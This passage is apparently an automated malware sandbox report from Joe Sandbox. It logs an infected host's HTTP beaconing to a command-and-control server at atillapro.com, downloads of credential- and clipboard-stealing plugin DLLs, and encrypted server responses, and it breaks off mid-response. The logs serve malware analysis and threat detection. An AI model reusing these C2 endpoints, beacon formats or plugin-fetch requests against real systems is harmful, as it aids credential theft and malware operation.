Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwODc=Host: atillapro.comContent-Length: 85239Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972

Source: Joe Sandbox View

ASN Name: SIMPLECARRER2IT SIMPLECARRER2IT

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pxiisjuf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yjipbis.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fvnqnoupu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ffekcgjxa.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 238Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://flaflc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atillapro.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 501Host: atillapro.com

Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115

Source: C:\Windows\System32\OpenWith.exe

Code function: 13_3_00007DF488C31950 WSARecv,

13_3_00007DF488C31950

Source: global traffic	HTTP traffic detected: GET /vsdjcn3khS/Plugins/cred64.dll HTTP/1.1Host: atillapro.com
Source: global traffic	HTTP traffic detected: GET /vsdjcn3khS/Plugins/clip64.dll HTTP/1.1Host: atillapro.com

Source: unknown

DNS traffic detected: queries for: atillapro.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pxiisjuf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: atillapro.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 Apr 2024 08:24:06 GMTServer: Apache/2.4.41 (Ubuntu)Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 36 31 62 33 39 0d 0a 6a 00 00 00 b8 28 14 57 2d e6 eb 90 4b eb f7 84 fc 11 c5 0d 74 dc f3 21 b8 df 7a cd 44 92 db 0b c4 43 88 88 d1 dd 2c 8c f8 94 3c 5a 0f 2b 88 fe 76 12 7f c0 09 1a e7 30 0b 48 62 37 bf 2a 3f be a4 73 e2 69 56 4e f4 7e 4c 81 65 4d 7c 56 1f 60 69 bb f3 0b c9 04 19 18 71 dc bd 82 9e 13 43 0c 10 a2 62 5b 67 25 8b ad cc 2b e9 7c 6d 70 00 ca 1a 06 00 1e 14 5a 68 09 09 06 00 09 00 9e 03 00 00 c9 af 4b 06 fd b7 e4 cf 75 1b fc fb 41 03 50 00 0d 86 9d 19 b2 92 4f 19 b2 66 40 79 bf 3c e0 e9 a8 07 97 29 55 ed 4f 8a 5d 83 99 58 79 32 ff 29 50 7a 91 ac 48 c1 33 62 c9 4e a5 df a2 8f 11 d8 b8 ec 45 8e 46 e1 7e 91 7f 98 62 f6 28 fe b2 ef da d8 10 c5 ff 00 0e 53 22 7c a0 e3 92 a3 70 fd 5d 0f 52 61 f9 c4 d2 17 e6 bc 78 13 d6 a5 f4 42 10 56 ec 33 3e 1f 4a e0 b2 1b 12 46 e3 67 fd a4 64 e6 19 c4 0e 9f 2d 91 d7 3d b5 4a ac 58 89 77 c1 59 82 ca 6a f1 43 50 16 3c 22 65 91 35 06 2b e0 38 9e ec 17 4d 01 fc d3 b1 3a 8d 7a cf 52 3d 1e 3d d9 09 38 1e 50 74 d3 ed 04 56 14 99 05 87 4e dc 28 ac df 22 87 14 18 ef 02 bd 97 f1 c5 58 03 17 2e 1f a3 37 4d a2 2a 95 37 54 b8 d5 e2 25 58 34 57 11 7f 80 1b 16 41 be 1b 15 2f 69 41 96 8c 75 c6 e6 d9 ab 5d 87 3f af 49 d0 b8 f5 51 f9 b4 8f 00 7b 6a 03 c2 44 69 5e 4c a2 28 19 bd d0 2e dd 92 ee 0a 01 dc fb 60 24 2e 76 18 9e c9 05 d1 35 2d 94 ad 83 ae 13 04 78 c9 09 e5 f8 61 2d d1 27 e3 80 5e 01 aa 27 14 82 2a 34 0b f0 73 1a e1 e2 01 23 43 55 8a 87 49 fd 32 c1 86 f3 a9 63 10 ff be b8 b1 ea 98 20 53 53 ae 5e ac f3 34 32 5b ce 28 48 27 42 41 29 4e 77 cb ff fc bd 65 d1 41 26 81 70 15 2d a7 59 73 cb 21 51 aa f7 fe 99 14 6d 69 1f 8d 6f c5 c0 b5 11 0c 89 30 88 13 42 93 b4 a9 05 1b 69 8f 68 4b fd 30 bd 1b c8 dc d0 ed e0 43 74 92 45 bc a1 44 a6 22 7c 34 56 0b b6 5f 93 58 d7 a6 69 34 95 b6 cd 06 5c 2b ac b3 1b 76 2a 5e 38 2a 37 9c 78 97 50 6a c1 2c 79 48 b1 3c 2b c4 e2 90 7b 37 db b3 e8 7a 34 5a f2 e7 d6 02 57 cc e3 68 0f 34 71 6a f1 ec 15 94 be ca 61 9f 3e 18 bd 12 de d8 5b 23 55 45 69 fd fb ea a3 29 1d 7c 02 57 7d 61 34 b1 a4 fa ea 18 25 e2 25 e7 b0 c6 8c ad 37 53 23 21 c0 8a 66 56 9e 29 9f ad 05 a5 d6 9a f6 66 43 19 81 07 71 78 55 b2 e8 74 b7 4c 69 76 69 f6 06 e7 8b c4 aa a5 86 dc 07 7c 4c e4 b2 33 1e 15 5a 19 1e 05 18 03 bb ff 31 ef b3 1d a6 1b 4d 97 43 6f 7c 64 fb ea 65 33 28 6a 0d db 5c 4e ca 3a 69 e1 94 e0 50 a3 23 83 f3 1e 68 74 83 16 c8 36 34 65 39 22 e1 02 bd 70 63 61 09 06 92 82 ac aa 5d d6 cf 0f 2c f7 33 68 3a 56 04 5c f0 d2 f8 10 4f 69 6a b7 8b 45 49 84 7a ad f8 fb 88 82 71 5a 8b 5f 2f db 2b 4a 14 ec 1b db 0a 6f 16 d3 ab a0 a7 17 54 e0 00 c1 56 71 c8 76 25 57 1a fd e1 53 41 ab d0 dd 70 f5 d0 1e e8 e8 35 82 7f 35 d6 40 2c 9f fc f2 3d be 7d 2e 67 d1 bd 30 76 f4 4f 0e 1a ce 1b 6e a0 20 14 90 a2 77 bb 6f 2a 1f b7 b0 17 3a cb 49 69 2c 4a 62 fd 93 27 18 0e 86 db 9c f8 9b 0c ee 06 fd 3c af 6e f6 a1 3b fc 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 Apr 2024 08:24:07 GMTServer: Apache/2.4.41 (Ubuntu)Keep-Alive: timeout=5, max=99Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 37 37 63 30 32 0d 0a 00 00 13 75 b6 2b 14 9a 80 f5 36 87 98 e3 5c 9c b0 61 a9 af ce 0b d1 b1 0c a2 6d f1 be 21 e8 69 ff e9 bd b1 49 f8 d2 b8 16 35 69 4d e1 9d 13 21 49 f5 23 36 cd 40 6a 31 0f 52 d1 5e 15 92 76 00 83 05 3d 22 64 5c 66 56 03 ee 3b 87 6c 41 c5 ee ce 0c ce 5d 45 52 7f cf e0 8c 8f 12 16 08 18 a2 53 47 7a 7f 8c f5 d8 69 ac 22 7a 2d 4b ec 56 19 bc 4f 14 02 aa 7f 51 c5 bf f7 8b 70 79 98 38 1f f4 79 73 1e 5d fe 67 2c 64 e3 ea f3 cd 1e 9e 56 b8 42 12 cb e5 a1 62 14 ec 15 ef 33 63 6d 71 78 53 9e 7b 2e 70 e0 83 4c c1 5f 4a 2b 10 33 2a fe 87 07 5f a0 52 82 77 36 b0 f7 30 5c 24 b9 fc 82 06 d4 00 d6 6a d9 fe f3 72 a8 4c 4c 1a d9 e3 5a 49 df 42 04 9c f6 c4 82 1d 2f dc 6e a9 57 9e 17 e5 c7 08 0e b2 bb 8c ab 86 a8 5f bb 84 f7 ac 51 64 e4 12 56 53 37 bd 7b ab fa 8a 59 38 89 f8 7e e5 7e e3 ec f1 91 23 35 f5 8e 57 94 d8 b0 04 82 ae f2 d6 a2 2c d7 cc eb b1 79 07 39 3e 79 e3 98 65 af 89 ff 40 ba 88 d9 c6 8a 6a 27 39 68 09 2b 84 4c 75 96 c5 dc c6 4f 3c 3d 6c a6 9e d8 9d 57 db 8d 9e ad 11 8b 8b 55 b5 24 84 c7 d0 95 6c 36 7a d7 28 ac 48 09 0c 8a b4 e0 54 66 14 b0 a4 c4 ac 46 a5 82 05 94 ed 41 c3 8f b1 24 41 7c d7 6a f2 95 5d 56 11 9e 61 8c bc d4 cd 02 09 de 44 b5 59 38 d8 25 d2 3d 50 18 2c c1 38 17 c3 6e 4b 02 bc 52 6d 24 35 f5 4f 48 4d ac 43 20 e7 49 e8 41 0b 57 ab 3c 4e e6 cf a7 29 6d 73 02 64 86 b5 bd 34 f3 74 17 40 3b 9c c6 a0 40 f9 cb 82 19 6c a2 b9 11 0f c5 5c 68 97 ab 69 2e 8f 82 8e 9b c7 75 77 c4 7d 27 dd 77 d4 e3 bc b0 c5 c8 c3 d2 59 29 d2 3c 79 89 80 b3 9b cd 5e 26 40 df d6 59 ed 5c c9 8b 7d 1f bd 35 dd 5c d0 32 fe 5d 3b 37 f0 89 3f eb 0c c0 73 fd a0 7c bc 94 79 f9 e8 6e eb a5 ba bf fe aa 2e 47 1f 85 f9 b7 92 e3 08 3d ee fa 49 ef d4 ad 12 6a 19 f9 37 34 59 94 14 eb b5 34 26 e4 70 ea 54 d7 c0 86 cd b3 b6 1c 6b c8 16 e6 07 0e d5 b1 ec b1 62 a2 c4 be c9 43 79 b1 cb 41 be b4 71 a5 26 dd 56 9f 5c 45 fa 6f d2 51 86 3a d2 1b be dd 7c 8b e0 3f 8d b4 5f fd 21 87 ff cb 91 cb e7 ea db 21 55 85 9d 4f 33 8a a7 b7 94 28 9a 9a b7 41 f7 a8 0c dc 5e 5c fd 9a 78 75 87 d0 da 0a b7 1f 43 5a 04 fd db 4b 34 c7 28 e6 37 62 d2 20 15 de 0b 3e d1 f3 e9 55 32 7b 1f 2e cc 8b 0e 5e c5 2f 72 c0 7c bb 4b 47 c2 b1 9f 22 ca f2 54 22 00 66 53 68 a0 ed 4e 0e 3b 40 30 16 2a 61 7c 73 e6 a2 99 89 5e 38 b8 f6 b5 91 a4 84 fb d4 d5 1c e8 f3 0b 49 66 6c b5 47 ae 4e ec 72 8b ab d6 f2 3e 6c 5c cc 19 3f 95 23 d2 c5 c0 b0 00 1d 9a 04 83 0d c3 c9 f9 ba b1 d4 f6 7e 47 a6 b8 e8 54 2b 2e ef 7e 3d c1 59 56 77 44 f9 14 2c 1c b4 1d 53 44 17 f3 f4 42 f4 72 c7 41 b8 3d 25 62 51 3d c6 d6 67 56 49 b2 ec aa e0 aa 52 fb d2 dc 6b c4 5f e8 be bd 06 45 6d cc d1 c8 c3 4a 74 9c be 6a 14 a3 e6 cc 86 92 c0 73 43 5b 13 f9 df 22 2b 5b fe 63 02 e4 92 9c 2e 75 68 f4 85 20 27 41 4d 9e 71 67 f0 f1 5a c2 6f a2 a3 d2 f7 70 ac df 50 8d df 56 42 24 58 4d 32 d7 8b 00 cb 90 9e 40 c5 84 ac a4 f2 62 b5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 Apr 2024 08:24:08 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 401Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 Apr 2024 08:24:08 GMTServer: Apache/2.4.41 (Ubuntu)Keep-Alive: timeout=5, max=97Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 36 64 32 30 32 0d 0a 00 00 13 75 b6 2b 14 9a 80 f5 36 87 98 e3 5c 9c b0 61 a9 af ce 0b d1 b1 0c a2 6d f1 be 21 e8 69 ff e9 bd b1 49 f8 d2 b8 16 35 69 4d e1 9d 13 21 49 f5 23 36 cd 40 6a 31 0f 52 d1 5e 15 92 86 01 83 05 3d 22 64 5c 66 56 03 ee 3b 87 6c 41 c5 ee ce 0c ce 5d 45 52 7f cf e0 8c 8f 12 16 08 18 a2 53 47 7a 7f 8c f5 d8 69 ac 22 7a 2d 4b ec 56 19 bc 4f 14 02 aa 7f 51 c5 bf f7 8b 70 79 98 38 1f f4 79 66 cf dc f6 72 fd e5 eb ff 22 4c 16 8b 87 39 4a 33 6d 63 a8 7b c5 6d 1d 22 96 e9 64 fb a9 d2 96 5a 88 ff e9 8e 9d 40 57 49 98 c8 3a 20 2f 06 0f 9f 1c d1 8b fc e7 31 ff d7 26 cd b0 9e 53 87 dc 4e 6f ea d0 f8 22 f3 a0 7e 5b e6 d1 27 8b c8 d7 eb 7d 6c ff d1 53 9c 27 26 4c a5 b4 8a c6 64 cf a0 45 20 31 be 8e 16 23 0d d2 e7 9f 9f 74 f4 6f 12 56 53 37 bd 7b ab fa da 1c 38 89 b4 7f e3 7e bd 97 ae f5 23 35 f5 8e 07 d1 d8 b0 a8 83 a9 f3 93 42 6b b2 cc b1 b3 79 07 27 3b 79 03 98 66 ae d0 99 4c a2 88 e3 c3 8a 6a ef 3a 68 09 2b c4 4c 2e 95 c7 dc c6 5d 3c 3d 68 e6 9b d8 9d 57 9b 8d 9a bd 11 8b 8b 57 b5 24 82 77 d8 95 6c 32 7a d7 2e ac 48 09 0e 8a b4 e0 54 76 03 b0 a4 d0 ac 46 a5 82 15 94 ef 51 83 0e b1 24 51 7c c7 7a f2 95 5d 56 01 9e 61 9c bc d4 31 70 01 de f4 b5 59 38 d8 b5 da 3d 50 1c 2c c1 54 5c c5 6e ff 02 bc 52 6d 94 33 f5 af 49 4d ac 43 80 ef 49 78 43 0b 57 ab 3c 4e e6 cf a7 29 6d 73 c2 62 86 bd f2 34 f3 54 c2 45 3b a4 c6 a0 40 f9 cb 82 19 6c a2 b9 11 0f c5 5c 68 97 ab 69 2e 73 57 8b 9b df 75 77 c4 25 82 db 77 a8 e1 bc b0 c5 c8 c3 d2 59 29 d2 3c 79 c9 85 b3 93 ce 5e 26 40 df d6 59 ed 5c c9 8b 53 6b d8 4d a9 5c d0 32 12 05 39 37 f0 99 3f eb 22 ee 14 85 d4 78 bc 94 b3 d1 ed 6e eb b5 ba bf fe 80 2b 47 3f 81 f9 d7 bc 97 6d 45 9a 98 3a 9c d4 ad 13 6a 39 89 35 54 77 e6 70 8a c1 55 26 e4 8e f6 55 d7 c0 c6 c8 b3 b6 02 6a c8 96 c8 02 ee fb c3 88 d0 16 c3 c4 be 81 4e 7c b1 8b 31 bd f4 5f cf 42 a9 37 c1 5e 45 0e 29 d2 51 86 5a d4 1b be e9 7c 8b a0 73 8b f4 71 99 40 f3 9e cb 91 cb a3 ea db 21 15 05 95 8f 1d fa d4 c5 f7 44 9d 9a 57 40 f7 a8 0c 6c 58 5c fd 98 78 75 c7 50 dc ca 99 6d 30 28 67 fd db 4b 34 c3 28 e6 77 f2 da 60 3b a8 6e 52 be fe ee 55 3a 34 1f 2e cc 4b 08 5e c5 7f 72 c0 3c 39 4d 07 ec c3 fa 4e a5 91 54 22 dc 6e 53 68 e0 4d 46 4c 3b 4a 30 16 2a 13 7b 73 e6 a2 99 89 5e 38 b8 f6 b5 91 a4 84 bb d4 d5 5e e8 f3 0b 49 66 6c b5 47 ae 4e ec 72 8b ab d6 f2 3e 6c 5c cc 19 3f 95 23 d2 c5 c0 b0 00 1d 9a 04 83 0d c3 c9 f9 ba b1 d4 f6 7e 47 a6 b8 e8 54 2b 2e ef 7e 3d c1 59 56 77 44 f9 14 2c 1c b4 1d 53 44 17 f3 f4 42 f4 72 c7 41 b8 3d 25 62 51 3d c6 d6 67 56 49 b2 ec aa e0 aa 52 fb d2 dc 6b c4 5f e8 be bd 06 45 6d cc d1 c8 c3 4a 74 9c be 6a 14 a3 e6 cc 86 92 c0 73 43 5b 13 f9 df 22 2b 5b fe 63 02 e4 92 9c 2e 75 68 f4 85 20 27 41 4d 9e 71 67 f0 f1 5a c2 6f a2 a3 d2 f7 70 ac df 50 8d df 56 42 24 58 4d 32 d7 8b 00 cb 90 9e 40 c5 84 ac a4 f2 62 b5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 Apr 2024 08:24:09 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 401Keep-Alive: timeout=5, max=96Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 